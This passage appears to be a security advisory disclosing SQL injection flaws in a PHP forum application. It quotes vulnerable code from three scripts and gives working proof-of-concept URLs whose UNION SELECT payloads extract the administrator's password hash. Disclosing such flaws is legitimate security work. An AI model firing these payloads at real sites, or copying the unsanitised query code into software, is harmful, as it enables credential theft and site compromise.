vulnerabilities:
--------------------------------------------------------------------------------
i) in openforum.php at line 19:
...
$miestnost=mysql_fetch_array(mysql_query("SELECT id, nazov, editorid FROM
forum1cat WHERE id=$cat",$spojenie));
...
"cat" argument is not properly sanitized before to be passed to a query,
so you can inject SQL statements regardless of magic_quotes_gpc settings, poc:
http://[target]/[path]/index.php?session=0&action=openforum&cat=-1%20UNION%20SELECT%20value,value,value%20FROM%20variables1%20WHERE%20name=CHAR(97,100,109,105,110,95,112,97,115,115,119,111,114,100)
now you have at screen site admnistration MD5 password hash...
--------------------------------------------------------------------------------
ii) in getfile.php:
...
include_once ("./register_globals.php");
if (!$cat) die ("Access denied");
include "admin/_dbase.conf.php";
$spojenie=mysql_pconnect
($conf_mysql_server,$conf_mysql_user_name,$conf_mysql_password);
mysql_select_DB ($conf_mysql_database_name);
include "class_configuration.php";
$configuration->ConfLoadDBtoPHP();
include "admin/_config.php";
echo "SELECT icon, icontype FROM prispevok1cat WHERE cat LIKE '$cat' LIMIT 1";
$image=mysql_fetch_array(mysql_query("SELECT icon, icontype FROM prispevok1cat
WHERE cat LIKE '$cat' LIMIT 1", $spojenie));
if ($image) {
header ("Content-type: $image[icontype]");
echo $image[icon];
} else {
echo "Image not found";
}
...
if magic_quotes_gpc off, same results with:
http://[target]/[path]/getfile.php?cat=%%'UNION%20SELECT%20value,value%20FROM%20variables1%20%20WHERE%20name='admin_password'/*
--------------------------------------------------------------------------------
iii)
also we have sql injection (hard to exploit?) )in download_now.php at line
31-33:
...
$out=mysql_fetch_array(mysql_query("SELECT Count(id) FROM downloadmanager WHERE
id = ".$target,$spojenie));
if ($out[0]==1) {
$out2 = mysql_fetch_array(mysql_query("SELECT * FROM downloadmanager
WHERE id = $target",$spojenie));
...
http://[target]/[path]/download_now.php?target=9999999999999[SQL]
--------------------------------------------------------------------------------
